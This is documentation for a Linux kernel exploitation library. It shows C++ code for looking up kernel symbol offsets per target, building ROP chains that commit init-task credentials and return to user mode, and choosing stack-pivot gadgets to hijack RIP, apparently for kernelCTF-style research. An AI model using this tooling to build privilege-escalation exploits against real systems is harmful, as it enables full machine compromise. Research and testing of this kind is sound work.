# How to get started ## Initialize the Target Database The target database contains all of the information needed to customize the exploit for the current target. This section describes how to use the prebuilt database, extend it if necessary and how to make it replaceable with an updated version. 1. Add the necessary includes to the exploit code. ```c++ #include #include ``` 2. Include the **target_db**. `INCBIN` creates a read-only section in the exploit binary with the current target database content. ```c++ INCBIN(target_db, "target_db.kxdb"); ``` 3. Initialize **TargetDb**. This constructor uses the `target_db.kxdb` file if exists, otherwise it fallbacks to the compile-time `INCBIN`'d database. This way, the exploit can be customized for running on other targets by supplying another `target_db.kxdb` after compilation time. ```c++ TargetDb kxdb("target_db.kxdb", target_db); ``` 4. Already available in database structure and symbol offsets are documented in [kxdb_tool/config.py](https://github.com/google/kernel-research/blob/main/kxdb_tool/config.py). They are added for all the supported targets. 5. If the needed symbol is not in database, use `Target` object to add it. One object per target needed. For example: ```c++ Target st("kernelctf", "cos-105-17412.294.34"); st.AddSymbol("nft_last_ops", 0x1acaf20); kxdb.AddTarget(st); ``` 6. Similar approach could be taken for adding structure and fields information: ```c++ st.AddStruct("nft_expr_ops", 128, { {"dump", 64, 8}, {"type", 120, 8} }); ``` > **Note** > `128` in the example above is a size of the `nft_expr_ops` structure. `{"dump", 64, 8}` field is located at the offset of 64 and as is a pointer, size would be 8 for 64-bit architecture. 7. Detect which target the exploit is being run on. ```c++ auto target = kxdb.AutoDetectTarget(); printf("[+] Running on target: %s %s\n", target.GetDistro().c_str(), target.GetReleaseName().c_str()); ``` 8. Access pre-defined or added (via `Target`) structures and symbols using following calls: ```c++ auto size = target.GetStructSize("nft_expr_ops"); // not used, just showing API usage auto offset = target.GetFieldOffset("nft_expr", "ops"); // get the offset of ops field in nft_expr structure *(uint64_t *)&buffer[offset] = kernel_base + target.GetSymbolOffset("nft_last_ops"); // the address of nft_last_ops ``` ## Building the Payload After leaking a kernel address and calculating the KASLR base, you can begin constructing the exploit payload. 1. Initialize a `Payload` object. This will serve as the buffer for our ROP chain and other necessary data. ```c++ Payload payload(1024); ``` 2. To set constants or to reserve areas that must not be altered by the `PayloadBuilder`, set their values explicitly beforehand: ```c++ payload.SetU64(0, 0x100); // Sets 8 bytes at offset 0 to 0x100. payload.SetU32(24, 0); // Sets 4 bytes at offset 24 to 0 (reserving the area). ``` 3. Create the `RopChain`. This object is initialized with target-specific information and the KASLR base. You can then add predefined actions to it. The `Ret2Usr` utility helps in gracefully returning execution to a user-mode function after the kernel operations are complete. ```c++ RopChain rop(target, kaslr_base); rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS); RopUtils::Ret2Usr(rop, (void*)win); ``` > **Note** > Available ROP actions could be found in [kxdb_tool/config.py](https://github.com/google/kernel-research/blob/main/kxdb_tool/config.py). ## Assembling the Final Payload with PayloadBuilder The `PayloadBuilder` automates the process of finding a suitable pivot gadget and combining it with your payload and ROP chain. 1. Initialize the `PayloadBuilder` with the target's available pivot gadgets and the KASLR base. ```c++ PayloadBuilder builder(target.pivots, kaslr_base); ``` 2. Add the `payload` object to the builder. You need to specify which register will point to your payload buffer (e.g., `Register::RSI`) and the offset within that buffer where the instruction pointer (`rip`) will be hijacked. ```c++ uint64_t rip_off = fake_ops_offs + release_offs; // Calculated offset for RIP control builder.AddPayload(payload, Register::RSI, rip_off); ``` In the situation when multiple registers contain a pointer to the payload, it's worth informing `PayloadBuilder` about it: ```c++ uint64_t rip_off = fake_ops_offs + release_offs; // Calculated offset for RIP control builder.AddPayload(payload, {Register::RSI, Register::RAX}, rip_off); ``` `PayloadBuilder` is capable of handling multiple buffers (and use them if needed to accomodate ROP chain actions). To inform `PayloadBuilder` about such a setup use: ```c++ Payload payload1(payload_size_1); Payload payload2(payload_size_2); PayloadBuilder builder(target.pivots, kernel_base); // create builder builder.AddPayload(payload1, std::nullopt, std::nullopt); builder.AddPayload(payload2, Register::RSI, rip_off); // add payload, with register, and rip_offset ``` 3. Add the `RopChain` to the builder. ```c++ builder.AddRopChain(rop); ``` 4. Build the final payload. The `Build()` method will find an appropriate pivot gadget that uses the specified register (`RSI` in this case) to redirect execution to your ROP chain. The necessary gadgets and the ROP chain itself will be written into the `payload` object you provided earlier. ```c++ if(!builder.Build()) exit(-1); ``` Once built, the `payload` object contains the complete, ready-to-use exploit payload. 5. The contents of the final payload can be printed for inspection and debugging using the `HexDump::Print` method. ```c++ printf("[+] Payload:\n"); HexDump::Print(payload.GetUsedData()); ``` > **Note:** > The `GetUsedData()` method returns only the data actually written to the payload, excluding the unused bytes at the end of the buffer. 6. In cases when pointer to pivot gadget should be part of some other buffer or passed as a parameter it could be obtained in the following way after building the final payload: ```c++ *(uint64_t *)&some_buffer[offset] = kernel_base + builder.GetStackPivot().GetGadgetOffset(); ```